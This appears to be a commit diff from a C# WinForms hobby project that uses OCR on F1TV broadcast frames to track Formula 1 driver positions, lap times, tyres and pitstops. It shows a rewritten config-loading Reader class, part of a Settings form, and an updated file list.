    -                        newDriverZone.AddWindow(new DriverDrsWindow(zoneImg, new Rectangle(driverDrsPosition, driverDrsArea), LoadOCR));
    -                        newDriverZone.AddWindow(new DriverTyresWindow(zoneImg, new Rectangle(driverTyresPosition, driverTyresArea), LoadOCR));
    -                        newDriverZone.AddWindow(new DriverNameWindow(zoneImg, new Rectangle(driverNamePosition, driverNameArea), LoadOCR));
    -                        newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector1Position, driverSector1Area),1, LoadOCR));
    -                        newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector2Position, driverSector2Area),2, LoadOCR));
    -                        newDriverZone.AddWindow(new DriverSectorWindow(zoneImg, new Rectangle(driverSector3Position, driverSector3Area),3, LoadOCR));
    -
    -                        mainZone.AddZone(newDriverZone);
    -                    }//);
    -                    //MessageBox.Show("We have a main zone with " + MainZone.Zones.Count() + " Driver zones with " + MainZone.Zones[4].Windows.Count() + " windows each and we have " + Drivers.Count + " drivers");
    -                    mainZones.Add(mainZone);
    -                }
    -            }
    -            catch (IOException ex)
    -            {
    -                MessageBox.Show("Error reading JSON file: " + ex.Message);
    -            }
    -            catch (JsonException ex)
    -            {
    -                MessageBox.Show("Invalid JSON format: " + ex.Message);
    -            }
    -            return mainZones;
    -        }    
    -        /// <summary>
    -        /// Method that calls all the zones and windows to get the content they can find on the image to display them
    -        /// </summary>
    -        /// <param name="idImage">The id of the image we are working with</param>
    -        /// <returns>a string representation of all the returns</returns>
    -        public async Task<string> Decode(List<Zone> mainZones,List<string> drivers)
    -        {
    -            string result = "";
    -            List<DriverData> mainResults = new List<DriverData>();
    -
    -            //Decode
    -            for (int mainZoneId = 0; mainZoneId < mainZones.Count; mainZoneId++)
    -            {
    -                switch (mainZoneId)
    -                {
    -                    case 0:
    -                        //Main Zone
    -                        foreach (Zone z in mainZones[mainZoneId].Zones)
    -                        {
    -                            mainResults.Add(await z.Decode(Drivers));
    -                        }
    -                        break;
    -                        //Next there could be a Title Zone and TrackInfoZone
    -                }
    -            }
    -
    -            //Display
    -            foreach (DriverData driver in mainResults)
    -            {
    -                result += driver.ToString();
    -                result += Environment.NewLine;
    -            }
    -
    -            return result;
    -        }
    -        /// <summary>
    -        /// Method that can be used to convert an amount of miliseconds into a more readable human form
    -        /// </summary>
    -        /// <param name="amountOfMs">The given amount of miliseconds ton convert</param>
    -        /// <returns>A human readable string that represents the ms</returns>
    -        public static string ConvertMsToTime(int amountOfMs)
    -        {
    -            //Convert.ToInt32 would round upand I dont want that
    -            int minuts = (int)((float)amountOfMs / (1000f * 60f));
    -            int seconds = (int)((amountOfMs - (minuts * 60f * 1000f)) / 1000);
    -            int ms = amountOfMs - ((minuts * 60 * 1000) + (seconds * 1000));
    -
    -            return minuts + ":" + seconds.ToString("00") + ":" + ms.ToString("000");
    -        }
    -        /// <summary>
    -        /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging
    -        /// </summary>
    -        /// <param name="idImage">the #id of the image we are working with</param>
    -        /// <returns>the drawed bitmap</returns>
    -        public Bitmap Draw(Bitmap image,List<Zone> mainZones)
    -        {
    -
    -            Graphics g = Graphics.FromImage(image);
    -
    -            foreach (Zone z in mainZones)
    -            {
    -                int count = 0;
    -                foreach (Zone zz in z.Zones)
    -                {
    -                    g.DrawRectangle(Pens.Red, z.Bounds);
    -                    foreach (Window w in zz.Windows)
    -                    {
    -                        g.DrawRectangle(Pens.Blue, new Rectangle(z.Bounds.X + zz.Bounds.X, z.Bounds.Y + zz.Bounds.Y, zz.Bounds.Width, zz.Bounds.Height));
    -                    }
    -
    -                    count++;
    -                }
    -            }
    -
    -            return image;
    -        }
    -    }
    -}
    -
    -
    +
    /// Author : Maxime Rohmer
    +/// Date : 30/05/2023
    +/// File : Reader.cs
    +/// Brief : Class used to Read the config file for the OCR
    +/// Version : Alpha 1.0
    +
    +using System;
    +using System.Collections.Generic;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +using System.Drawing;
    +using System.Windows.Forms;
    +using System.IO;
    +using System.Text.Json;
    +
    +namespace TrackTrends
    +{
    +    public class Reader
    +    {
    +        const int NUMBER_OF_DRIVERS = 20;
    +        public List<string> Drivers;
    +        public List<Zone> MainZones;
    +
    +        private SqliteStorage _storage;
    +        private List<DriverData>[] DriverDataLogs = new List<DriverData>[NUMBER_OF_DRIVERS];
    +        private int[] DriverLaps = new int[NUMBER_OF_DRIVERS];
    +
    +        public SqliteStorage Storage { get => _storage; private set => _storage = value; }
    +
    +        public Reader(string configFile, Bitmap image, bool loadOCR = true)
    +        {
    +            Storage = new SqliteStorage();
    +            MainZones = Load(image, configFile, ref Drivers, loadOCR);
    +        }
    +        /// <summary>
    +        /// Method that reads the JSON config file and create all the Zones and Windows
    +        /// </summary>
    +        /// <param name="imageNumber">The image #id on wich you want to create the zones on</param>
    +        public List<Zone> Load(Bitmap image, string configFilePath, ref List<string> driverListToFill, bool LoadOCR)
    +        {
    +            // Note : You may wonder why in the H... I have all the zones and windows stored in a JSON file and not just for example the first and the last
    +            // Its because they are not perfectly aligned to each others and every zone has his own alignement to the main image
    +            List<Zone> mainZones = new List<Zone>();
    +            Bitmap fullImage = image;
    +            Zone mainZone;
    +
    +            for (int i = 0; i < NUMBER_OF_DRIVERS; i++)
    +            {
    +                DriverDataLogs[i] = new List<DriverData>();
    +                DriverLaps[i] = 0;
    +            }
    +
    +            try
    +            {
    +                string jsonString = File.ReadAllText(configFilePath);
    +
    +                JsonDocument document = JsonDocument.Parse(jsonString);
    +
    +                JsonElement root = document.RootElement;
    +
    +                mainZones = new List<Zone>();
    +                driverListToFill = new List<string>();
    +
    +                JsonElement main = root.GetProperty("Main");
    +
    +                int x = main.GetProperty("x").GetInt32();
    +                int y = main.GetProperty("y").GetInt32();
    +                int width = main.GetProperty("width").GetInt32();
    +                int height = main.GetProperty("height").GetInt32();
    +
    +                mainZone = new Zone(fullImage, new Rectangle(x, y, width, height), "Main");
    +
    +                mainZone.ResetWindows();
    +                mainZone.ResetZones();
    +
    +                JsonElement driverZones = main.GetProperty("DriverZones");
    +
    +                foreach (JsonElement driverZoneElement in driverZones.EnumerateArray())
    +                {
    +                    string name = driverZoneElement.GetProperty("name").GetString();
    +                    int driverX = driverZoneElement.GetProperty("x").GetInt32() + mainZone.Bounds.X;
    +                    int driverY = driverZoneElement.GetProperty("y").GetInt32() + mainZone.Bounds.Y;
    +                    int driverWidth = driverZoneElement.GetProperty("width").GetInt32();
    +                    int driverHeight = driverZoneElement.GetProperty("height").GetInt32();
    +
    +                    Zone driverZone = new Zone(fullImage, new Rectangle(driverX, driverY, driverWidth, driverHeight), "Driver");
    +
    +                    JsonElement windowsElement = driverZoneElement.GetProperty("Windows");
    +
    +                    //string[] windowNames = new string[] { "Position","GapToLeader","LapTime","DRS","Tyres","Name","Sector1","Sector2","Sector3" };
    +
    +                    foreach (JsonElement windowElement in windowsElement.EnumerateArray())
    +                    {
    +                        //Position
    +                        JsonElement posEl = windowElement.GetProperty("Position");
    +                        DriverPositionWindow positionWindow = new DriverPositionWindow(driverZone.ZoneImage,
    +                            new Rectangle(
    +                                posEl.GetProperty("x").GetInt32(),
    +                                posEl.GetProperty("y").GetInt32(),
    +                                posEl.GetProperty("width").GetInt32(),
    +                                posEl.GetProperty("height").GetInt32()),
    +                            LoadOCR);
    +
    +                        //GapToLeader
    +                        JsonElement gapEl = windowElement.GetProperty("GapToLeader");
    +                        DriverGapToLeaderWindow gapWindow = new DriverGapToLeaderWindow(driverZone.ZoneImage,
    +                            new Rectangle(
    +                                gapEl.GetProperty("x").GetInt32(),
    +                                gapEl.GetProperty("y").GetInt32(),
    +                                gapEl.GetProperty("width").GetInt32(),
    +                                gapEl.GetProperty("height").GetInt32()),
    +                            LoadOCR);
    +
    +                        //LapTime
    +                        JsonElement lapEl = windowElement.GetProperty("LapTime");
    +                        DriverLapTimeWindow lapWindow = new DriverLapTimeWindow(driverZone.ZoneImage,
    +                            new Rectangle(
    +                                lapEl.GetProperty("x").GetInt32(),
    +                                lapEl.GetProperty("y").GetInt32(),
    +                                lapEl.GetProperty("width").GetInt32(),
    +                                lapEl.GetProperty("height").GetInt32()),
    +                            LoadOCR);
    +
    +                        //DRS
    +                        JsonElement drsEl = windowElement.GetProperty("DRS");
    +                        DriverDrsWindow drsWindow = new DriverDrsWindow(driverZone.ZoneImage,
    +                            new Rectangle(
    +                                drsEl.GetProperty("x").GetInt32(),
    +                                drsEl.GetProperty("y").GetInt32(),
    +                                drsEl.GetProperty("width").GetInt32(),
    +                                drsEl.GetProperty("height").GetInt32()),
    +                            LoadOCR);
    +
    +                        //Tyre
    +                        JsonElement tyresEl = windowElement.GetProperty("Tyres");
    +                        DriverTyresWindow tyreWindow = new DriverTyresWindow(driverZone.ZoneImage,
    +                            new Rectangle(
    +                                tyresEl.GetProperty("x").GetInt32(),
    +                                tyresEl.GetProperty("y").GetInt32(),
    +                                tyresEl.GetProperty("width").GetInt32(),
    +                                tyresEl.GetProperty("height").GetInt32()),
    +                            LoadOCR);
    +
    +                        //Name
    +                        JsonElement nameEl = windowElement.GetProperty("Name");
    +                        DriverNameWindow nameWindow = new DriverNameWindow(driverZone.ZoneImage,
    +                            new Rectangle(
    +                                nameEl.GetProperty("x").GetInt32(),
    +                                nameEl.GetProperty("y").GetInt32(),
    +                                nameEl.GetProperty("width").GetInt32(),
    +                                nameEl.GetProperty("height").GetInt32()),
    +                            LoadOCR);
    +
    +                        //Sector1
    +                        JsonElement sec1El = windowElement.GetProperty("Sector1");
    +                        DriverSectorWindow sec1Window = new DriverSectorWindow(driverZone.ZoneImage,
    +                            new Rectangle(
    +                                sec1El.GetProperty("x").GetInt32(),
    +                                sec1El.GetProperty("y").GetInt32(),
    +                                sec1El.GetProperty("width").GetInt32(),
    +                                sec1El.GetProperty("height").GetInt32()),
    +                            1, LoadOCR);
    +
    +                        //Sector2
    +                        JsonElement sec2El = windowElement.GetProperty("Sector2");
    +                        DriverSectorWindow sec2Window = new DriverSectorWindow(driverZone.ZoneImage,
    +                            new Rectangle(
    +                                sec2El.GetProperty("x").GetInt32(),
    +                                sec2El.GetProperty("y").GetInt32(),
    +                                sec2El.GetProperty("width").GetInt32(),
    +                                sec2El.GetProperty("height").GetInt32()),
    +                            2, LoadOCR);
    +
    +                        //Sector3
    +                        JsonElement sec3El = windowElement.GetProperty("Sector3");
    +                        DriverSectorWindow sec3Window = new DriverSectorWindow(driverZone.ZoneImage,
    +                            new Rectangle(
    +                                sec3El.GetProperty("x").GetInt32(),
    +                                sec3El.GetProperty("y").GetInt32(),
    +                                sec3El.GetProperty("width").GetInt32(),
    +                                sec3El.GetProperty("height").GetInt32()),
    +                            3, LoadOCR);
    +
    +                        driverZone.AddWindow(positionWindow);
    +                        driverZone.AddWindow(gapWindow);
    +                        driverZone.AddWindow(lapWindow);
    +                        driverZone.AddWindow(drsWindow);
    +                        driverZone.AddWindow(tyreWindow);
    +                        driverZone.AddWindow(nameWindow);
    +                        driverZone.AddWindow(sec1Window);
    +                        driverZone.AddWindow(sec2Window);
    +                        driverZone.AddWindow(sec3Window);
    +                    }
    +                    mainZone.AddZone(driverZone);
    +                }
    +
    +                JsonElement driversElement = main.GetProperty("Drivers");
    +                foreach (JsonElement driverElement in driversElement.EnumerateArray())
    +                {
    +                    string driverName = driverElement.GetString();
    +                    driverListToFill.Add(driverName);
    +                    Storage.AddDriver(driverName);
    +                }
    +
    +                mainZones.Add(mainZone);
    +            }
    +            catch (IOException ex)
    +            {
    +                MessageBox.Show("Error reading JSON file: " + ex.Message);
    +            }
    +            catch (JsonException ex)
    +            {
    +                MessageBox.Show("Invalid JSON format: " + ex.Message);
    +            }
    +            int driverID = 0;
    +            foreach (Zone z in mainZones[0].Zones)
    +            {
    +                driverID++;
    +                z.ZoneImage.Save("LoadedDriver" + driverID + ".png");
    +            }
    +            return mainZones;
    +        }
    +        /// <summary>
    +        /// Method that calls all the zones and windows to get the content they can find on the image to display them
    +        /// </summary>
    +        /// <param name="idImage">The id of the image we are working with</param>
    +        /// <returns>a string representation of all the returns</returns>
    +        public List<DriverData> Decode(List<Zone> mainZones, List<string> drivers)
    +        { 
    +            List<DriverData> mainResults = new List<DriverData>();
    +            //Decode
    +            for (int mainZoneId = 0; mainZoneId < mainZones.Count; mainZoneId++)
    +            {
    +                switch (mainZoneId)
    +                {
    +                    case 0:
    +                        //object lockObject = new object();
    +                        //Main Zone
    +                        Parallel.For(0, mainZones[mainZoneId].Zones.Count, async i =>
    +                        //for (int i = 0; i < mainZones[mainZoneId].Zones.Count; i++)
    +                        {
    +                            DriverData data = mainZones[mainZoneId].Zones[i].Decode(new List<string>(drivers));
    +                            mainResults.Add(data);
    +                            DriverDataLogs[i].Add(data);
    +
    +                            if (data.Position != -1 && DriverDataLogs[i].Count > 1)
    +                            {
    +                                //Tries to fix the tyres
    +                                if (data.CurrentTyre.NumberOfLaps > DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps + 3)
    +                                    data.CurrentTyre.NumberOfLaps = DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps + 1;
    +
    +                                //Checking if its a new lap
    +                                //If the third sector is filled but it was'nt the last time, then it means that a new Lap has been started 
    +                                //Lap detection can be f***ed if the OCR takes so much time that an entire sector can be raced without us knowing.
    +                                if (
    +                                    DriverDataLogs[i][DriverDataLogs[i].Count - 1].Sector3 != 0
    +                                    && DriverDataLogs[i][DriverDataLogs[i].Count - 2].Sector3 == 0
    +                                    && DriverDataLogs[i][DriverDataLogs[i].Count - 2].Position != -1
    +                                    && DriverDataLogs[i][DriverDataLogs[i].Count - 1].Position != -1)
    +                                {
    +                                    DriverData stats = new DriverData();
    +                                    stats = DriverDataLogs[i][DriverDataLogs[i].Count - 1];
    +                                    DriverLaps[i]++;
    +                                    Storage.AddDriverStat(stats, DriverLaps[i]);
    +                                }
    +                                //Checking if its a pitstop
    +                                //Forget this the best way to know if a tyre has been changed is if the number of laps is zero
    +                                if (data.CurrentTyre.Coumpound != Tyre.Type.Undefined && data.CurrentTyre.NumberOfLaps == 0 && DriverDataLogs[i][DriverDataLogs[i].Count - 2].CurrentTyre.NumberOfLaps != 0)
    +                                {
    +                                    Storage.AddPitstop(data.Name, DriverLaps[i] - 1, data.CurrentTyre.Coumpound.ToString());
    +                                    //Driver laps -1 because it would take AT LEAST one lap for this program to detect a pitstop
    +                                }
    +                            }
    +                            DriverDataLogs[i].Add(data);
    +                        });
    +                        break;
    +                        //Next there could be a Title Zone and TrackInfoZone
    +                }
    +            }
    +            //mainResults = mainResults.OrderBy(driver => driver.Position >= 0).ThenBy(driver => driver.Position).ToList();
    +            mainResults = mainResults.OrderBy(driver => driver.Position).ToList();
    +            return mainResults;
    +        }
    +        /// <summary>
    +        /// Changes the image in all of the zones wich then will do the same for theyre own subzones and windows
    +        /// </summary>
    +        /// <param name="Image">The new Image from the F1TV data channel</param>
    +        public void ChangeImage(Bitmap Image)
    +        {
    +            foreach (Zone z in MainZones)
    +            {
    +                z.Image = Image;
    +            }
    +        }
    +        /// <summary>
    +        /// Method that can be used to convert an amount of miliseconds into a more readable human form
    +        /// </summary>
    +        /// <param name="amountOfMs">The given amount of miliseconds ton convert</param>
    +        /// <returns>A human readable string that represents the ms</returns>
    +        public static string ConvertMsToTime(int amountOfMs)
    +        {
    +            //Convert.ToInt32 would round upand I dont want that
    +            int minuts = (int)((float)amountOfMs / (1000f * 60f));
    +            int seconds = (int)((amountOfMs - (minuts * 60f * 1000f)) / 1000);
    +            int ms = amountOfMs - ((minuts * 60 * 1000) + (seconds * 1000));
    +
    +            return minuts + ":" + seconds.ToString("00") + ":" + ms.ToString("000");
    +        }
    +        /// <summary>
    +        /// Old method that can draw on an image where the windows and zones are created. mostly used for debugging
    +        /// </summary>
    +        /// <param name="idImage">the #id of the image we are working with</param>
    +        /// <returns>the drawed bitmap</returns>
    +        public Bitmap Draw(Bitmap image, List<Zone> mainZones)
    +        {
    +
    +            Graphics g = Graphics.FromImage(image);
    +
    +            foreach (Zone z in mainZones)
    +            {
    +                int count = 0;
    +                foreach (Zone zz in z.Zones)
    +                {
    +                    g.DrawRectangle(Pens.Red, z.Bounds);
    +                    foreach (Window w in zz.Windows)
    +                    {
    +                        g.DrawRectangle(Pens.Blue, new Rectangle(z.Bounds.X + zz.Bounds.X, z.Bounds.Y + zz.Bounds.Y, zz.Bounds.Width, zz.Bounds.Height));
    +                    }
    +
    +                    count++;
    +                }
    +            }
    +
    +            return image;
    +        }
    +    }
    +}
    +
  • - - DriverGapToLeaderWindow.cs - -
  • -
  • - - DriverPositionWindow.cs - -
  • -
  • - - F1TVEmulator.cs - -
  • -
  • - - Program.cs - -
  • -
  • - - Window.cs - -
  • -
  • DriverData.cs
  • - - DriverLapTimeWindow.cs + + DriverGapToLeaderWindow.cs + +
  • +
  • + + DriverNameWindow.cs
  • @@ -175,13 +155,28 @@
  • + + F1TVEmulator.cs + +
  • +
  • Form1.cs
  • - - Reader.cs + + Program.cs + +
  • +
  • + + Settings.Designer.cs + +
  • +
  • + + SqliteStorage.cs
  • @@ -190,13 +185,23 @@
  • + + DataWrapper.cs + +
  • +
  • DriverDrsWindow.cs
  • - - DriverNameWindow.cs + + DriverLapTimeWindow.cs + +
  • +
  • + + DriverPositionWindow.cs
  • @@ -209,6 +214,11 @@ OcrImage.cs
  • +
  • + + Reader.cs + +
  • @@ -216,6 +226,11 @@
  • + + Window.cs + +
  • +
  • recoverCookiesCSV.py @@ -239,430 +254,491 @@

    Settings.cs

    -
    using System;
    -using System.Collections.Generic;
    -using System.ComponentModel;
    -using System.Data;
    -using System.Drawing;
    -using System.Linq;
    -using System.Text;
    -using System.Threading.Tasks;
    -using System.Windows.Forms;
    -using System.IO;
    -
    -namespace Test_Merge
    -{
    -    public partial class Settings : Form
    -    {
    -        private string _grandPrixUrl = "";
    -        private string _grandPrixName = "";
    -        private int _grandPrixYear = 2000;
    -        private List<string> _driverList = new List<string>();
    -
    -        private F1TVEmulator Emulator = null;
    -        private ConfigurationTool Config = null;
    -
    -        private bool CreatingZone = false;
    -        private Point ZoneP1;
    -        private Point ZoneP2;
    -
    -        private bool CreatingWindow = false;
    -        private Point WindowP1;
    -        private Point WindowP2;
    -
    -        List<Rectangle> WindowsToAdd = new List<Rectangle>();
    -
    -        public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; }
    -        public string GrandPrixName { get => _grandPrixName; private set => _grandPrixName = value; }
    -        public int GrandPrixYear { get => _grandPrixYear; private set => _grandPrixYear = value; }
    -        public List<string> DriverList { get => _driverList; private set => _driverList = value; }
    -
    -        public Settings()
    -        {
    -            InitializeComponent();
    -            Load();
    -        }
    -        private void Load()
    -        {
    -            RefreshUI();
    -        }
    -        private void RefreshUI()
    -        {
    -
    -            lsbDrivers.DataSource = null;
    -            lsbDrivers.DataSource = DriverList;
    -
    -            if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME))
    -            {
    -                lsbPresets.DataSource = null;
    -                lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME);
    -            }
    -            if (CreatingZone)
    -            {
    -                if (ZoneP1 == new Point(-1, -1))
    -                {
    -                    lblZonePointsRemaning.Text = "2 points Remaining";
    -                }
    -                else
    -                {
    -                    lblZonePointsRemaning.Text = "1 point Remaining";
    -                }
    -            }
    -            else
    -            {
    -                lblZonePointsRemaning.Text = "";
    -            }
    -
    -            if (CreatingWindow)
    -            {
    -                if (WindowP1 == new Point(-1, -1))
    -                {
    -                    lblWindowPointsRemaining.Text = "2 points Remaining";
    -                }
    -                else
    -                {
    -                    lblWindowPointsRemaining.Text = "1 point Remaining";
    -                }
    -                lblWindowPointsRemaining.Text = ConfigurationTool.NUMBER_OF_ZONES - WindowsToAdd.Count() + " Windows remaining";
    -            }
    -            else
    -            {
    -                lblWindowPointsRemaining.Text = "";
    -                lblWindowsRemaining.Text = "";
    -            }
    -            if (Config != null)
    -            {
    -                pbxMain.Image = Config.MainZone.Draw();
    -                if(Config.MainZone.Zones.Count > 0)
    -                    pbxDriverZone.Image = Config.MainZone.Zones[0].Draw();
    -            }
    -        }
    -        private void CreateNewZone(Point p1, Point p2)
    -        {
    -            Rectangle dimensions = CreateAbsoluteRectangle(p1, p2);
    -            Config = new ConfigurationTool((Bitmap)pbxMain.Image, dimensions);
    -            RefreshUI();
    -        }
    -        private void CreateWindows(List<Rectangle> dimensions)
    -        {
    -            if (Config != null)
    -            {
    -                Config.AddWindows(dimensions);
    -            }
    -        }
    -        private void tbxGpUrl_TextChanged(object sender, EventArgs e)
    -        {
    -            GrandPrixUrl = tbxGpUrl.Text;
    -        }
    -
    -        private void tbxGpName_TextChanged(object sender, EventArgs e)
    -        {
    -            GrandPrixName = tbxGpName.Text;
    -        }
    -
    -        private void tbxGpYear_TextChanged(object sender, EventArgs e)
    -        {
    -            int year;
    -            try
    -            {
    -                year = Convert.ToInt32(tbxGpYear.Text);
    -            }
    -            catch
    -            {
    -                year = 1545;
    -            }
    -            GrandPrixYear = year;
    -        }
    -
    -        private void btnAddDriver_Click(object sender, EventArgs e)
    -        {
    -            string newDriver = tbxDriverName.Text;
    -            DriverList.Add(newDriver);
    -            tbxDriverName.Text = "";
    -            RefreshUI();
    -        }
    -
    -        private void btnRemoveDriver_Click(object sender, EventArgs e)
    -        {
    -            if (lsbDrivers.SelectedIndex >= 0)
    -            {
    -                DriverList.RemoveAt(lsbDrivers.SelectedIndex);
    -            }
    -            RefreshUI();
    -        }
    -        private void SwitchZoneCreation()
    -        {
    -            if (CreatingZone)
    -            {
    -                CreatingZone = false;
    -                lblZonePointsRemaning.Text = "";
    -            }
    -            else
    -            {
    -                CreatingZone = true;
    -
    -                if (Config != null)
    -                    Config.ResetMainZone();
    -
    -                if (CreatingWindow)
    -                    SwitchWindowCreation();
    -
    -                if (Emulator != null && Emulator.Ready)
    -                {
    -                    Config = null;
    -                    pbxMain.Image = Emulator.Screenshot();
    -                }
    -
    -                ZoneP1 = new Point(-1, -1);
    -                ZoneP2 = new Point(-1, -1);
    -
    -                lblZonePointsRemaning.Text = "2 Points left";
    -            }
    -            RefreshUI();
    -        }
    -        private void SwitchWindowCreation()
    -        {
    -            if (CreatingWindow)
    -            {
    -                CreatingWindow = false;
    -            }
    -            else
    -            {
    -                CreatingWindow = true;
    -
    -                if (Config != null)
    -                    Config.ResetWindows();
    -
    -                if (CreatingZone)
    -                    SwitchZoneCreation();
    -
    -                WindowP1 = new Point(-1, -1);
    -                WindowP2 = new Point(-1, -1);
    -
    -                WindowsToAdd = new List<Rectangle>();
    -            }
    -            RefreshUI();
    -        }
    -        private void btnCreatZone_Click(object sender, EventArgs e)
    -        {
    -            SwitchZoneCreation();
    -        }
    -        private void btnCreateWindow_Click(object sender, EventArgs e)
    -        {
    -            SwitchWindowCreation();
    -        }
    -        private void pbxMain_MouseClick(object sender, MouseEventArgs e)
    -        {
    -            if (CreatingZone && pbxMain.Image != null)
    -            {
    -                //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y));
    -                Point coordinates = e.Location;
    -                float xOffset = (float)pbxMain.Image.Width / (float)pbxMain.Width;
    -                float yOffset = (float)pbxMain.Image.Height / (float)pbxMain.Height;
    -                Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
    -
    -                //MessageBox.Show("Coordinates" + Environment.NewLine + "Old : " + coordinates.ToString() + Environment.NewLine + "New : " + newPoint.ToString());
    -
    -                if (ZoneP1 == new Point(-1, -1))
    -                {
    -                    ZoneP1 = newPoint;
    -                }
    -                else
    -                {
    -                    ZoneP2 = newPoint;
    -                    CreateNewZone(ZoneP1, ZoneP2);
    -                    SwitchZoneCreation();
    -                }
    -                RefreshUI();
    -            }
    -        }
    -        private void pbxMain_Click(object sender, EventArgs e)
    -        {
    -            //Not the right one to use visibly
    -        }
    -        private void pbxDriverZone_MouseClick(object sender, MouseEventArgs e)
    -        {
    -            if (CreatingWindow && pbxDriverZone.Image != null)
    -            {
    -                Point coordinates = e.Location;
    -
    -                float xOffset = (float)pbxDriverZone.Image.Width / (float)pbxDriverZone.Width;
    -                float yOffset = (float)pbxDriverZone.Image.Height / (float)pbxDriverZone.Height;
    -
    -                Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset));
    -
    -                if (WindowP1 == new Point(-1, -1))
    -                {
    -                    WindowP1 = newPoint;
    -                }
    -                else
    -                {
    -                    WindowP2 = newPoint;
    -                    WindowsToAdd.Add(CreateAbsoluteRectangle(WindowP1, WindowP2));
    -
    -                    if (WindowsToAdd.Count < ConfigurationTool.NUMBER_OF_ZONES)
    -                    {
    -                        WindowP1 = new Point(-1, -1);
    -                        WindowP2 = new Point(-1, -1);
    -                    }
    -                    else
    -                    {
    -                        WindowP1 = new Point(WindowP1.X, 0);
    -                        WindowP2 = new Point(WindowP2.X, pbxDriverZone.Image.Height);
    -                        CreateWindows(WindowsToAdd);
    -                        SwitchWindowCreation();
    -                    }
    -                }
    -                RefreshUI();
    -            }
    -        }
    -        private void pbxDriverZone_Click(object sender, EventArgs e)
    -        {
    -            //Not the right one to use visibly
    -        }
    -        private Rectangle CreateAbsoluteRectangle(Point p1, Point p2)
    -        {
    -            Point newP1 = new Point();
    -            Point newP2 = new Point();
    -
    -            if (p1.X < p2.X)
    -            {
    -                newP1.X = p1.X;
    -                newP2.X = p2.X;
    -            }
    -            else
    -            {
    -                newP1.X = p2.X;
    -                newP2.X = p1.X;
    -            }
    -
    -            if (p1.Y < p2.Y)
    -            {
    -                newP1.Y = p1.Y;
    -                newP2.Y = p2.Y;
    -            }
    -            else
    -            {
    -                newP1.Y = p2.Y;
    -                newP2.Y = p1.Y;
    -            }
    -            return new Rectangle(newP1.X, newP1.Y, newP2.X - newP1.X, newP2.Y - newP1.Y);
    -        }
    -
    -        private async void btnRefresh_Click(object sender, EventArgs e)
    -        {
    -            btnRefresh.Enabled = false;
    -            if (Emulator == null || Emulator.GrandPrixUrl != tbxGpUrl.Text)
    -            {
    -                Emulator = new F1TVEmulator(tbxGpUrl.Text);
    -            }
    -
    -            if (!Emulator.Ready)
    -            {
    -                Task<int> start = Task.Run(() => Emulator.Start());
    -                int errorCode = await start;
    -                if (errorCode != 0)
    -                {
    -                    string message;
    -                    switch (errorCode)
    -                    {
    -                        case 101:
    -                            message = "Error " + errorCode + " Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again";
    -                            break;
    -                        case 102:
    -                            message = "Error " + errorCode + " Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update";
    -                            break;
    -                        case 103:
    -                            message = "Error " + errorCode + " The url is not a valid url";
    -                            break;
    -                        case 104:
    -                            message = "Error " + errorCode + " The url is not a valid url";
    -                            break;
    -                        case 105:
    -                            message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
    -                            break;
    -                        case 106:
    -                            message = "Error " + errorCode + " There has been an error trying to emulate button presses. Please try again";
    -                            break;
    -                        default:
    -                            message = "Could not start the emulator Error " + errorCode;
    -                            break;
    -                    }
    -                    MessageBox.Show(message);
    -                }
    -                else
    -                {
    -                    pbxMain.Image = Emulator.Screenshot();
    -                }
    -            }
    -            else
    -            {
    -                pbxMain.Image = Emulator.Screenshot();
    -            }
    -            btnRefresh.Enabled = true;
    -        }
    -
    -        private void Settings_FormClosing(object sender, FormClosingEventArgs e)
    -        {
    -            if (Emulator != null)
    -            {
    -                Emulator.Stop();
    -            }
    -        }
    -
    -        private void btnResetDriver_Click(object sender, EventArgs e)
    -        {
    -            if (Emulator != null)
    -            {
    -                Emulator.ResetDriver();
    -            }
    -        }
    -
    -        private void btnSavePreset_Click(object sender, EventArgs e)
    -        {
    -            string presetName = tbxPresetName.Text;
    -            if (Config != null)
    -            {
    -                Config.SaveToJson(DriverList,presetName);
    -            }
    -            RefreshUI();
    -        }
    -
    -        private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e)
    -        {
    -            //Nothing
    -        }
    -
    -        private void btnLoadPreset_Click(object sender, EventArgs e)
    -        {
    -            if (lsbPresets.SelectedIndex >= 0 && pbxMain.Image != null)
    -            {
    -                try
    -                {
    -                    Reader reader = new Reader(lsbPresets.Items[lsbPresets.SelectedIndex].ToString(), (Bitmap)pbxMain.Image,false);
    -                    //MainZones #0 is the big main zone containing driver zones
    -                    Config = new ConfigurationTool((Bitmap)pbxMain.Image, reader.MainZones[0].Bounds);
    -                    Config.MainZone = reader.MainZones[0];
    -                    DriverList = reader.Drivers;
    -                }
    -                catch (Exception ex)
    -                {
    -                    MessageBox.Show("Could not load the settings error :" + ex);
    -                }
    -                RefreshUI();
    -            }
    -        }
    -    }
    -}
    -
    -
    +
    using System;
    +using System.Collections.Generic;
    +using System.ComponentModel;
    +using System.Data;
    +using System.Drawing;
    +using System.Linq;
    +using System.Text;
    +using System.Threading.Tasks;
    +using System.Windows.Forms;
    +using System.IO;
    +using TrackTrends;
    +
    +namespace TrackTrends
    +{
    +    public partial class Settings : Form
    +    {
    +        private string _grandPrixUrl = "";
    +        private string _selectedConfigFile;
    +        private List<string> _driverList = new List<string>();
    +
    +        private F1TVEmulator Emulator = null;
    +        private ConfigurationTool Config = null;
    +
    +        private bool CreatingZone = false;
    +        private Point ZoneP1;
    +        private Point ZoneP2;
    +
    +        private bool CreatingWindow = false;
    +        private Point WindowP1;
    +        private Point WindowP2;
    +
    +        List<Rectangle> WindowsToAdd = new List<Rectangle>();
    +
